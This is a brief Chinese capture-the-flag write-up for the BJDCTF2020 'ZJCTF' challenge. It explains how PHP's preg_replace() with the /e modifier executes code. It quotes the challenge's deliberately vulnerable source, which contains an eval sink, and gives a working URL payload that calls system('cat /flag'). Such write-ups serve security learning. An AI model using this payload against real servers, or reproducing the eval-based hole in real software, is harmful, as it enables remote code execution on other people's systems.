[BJDCTF2020]ZJCTF,不过如此
这道题考查preg_replace()函数中/e的工作机制,正则表达式后面跟e,即/xxxx/e,preg_replace()的第二个参数的会被当做代码执行,strtolower('\1'),\1需要和正则表达式里的()一起用,\1表示在str中匹配到的第一个,\2表示在str中的第二个,以此类推。
如果正则表达式里是/(.*)/,就完全匹配了str,\1也就是整个str,所以使用payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');
这里的/S传过去就是'.',${getFlag()}是让getFlag()当做代码执行
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }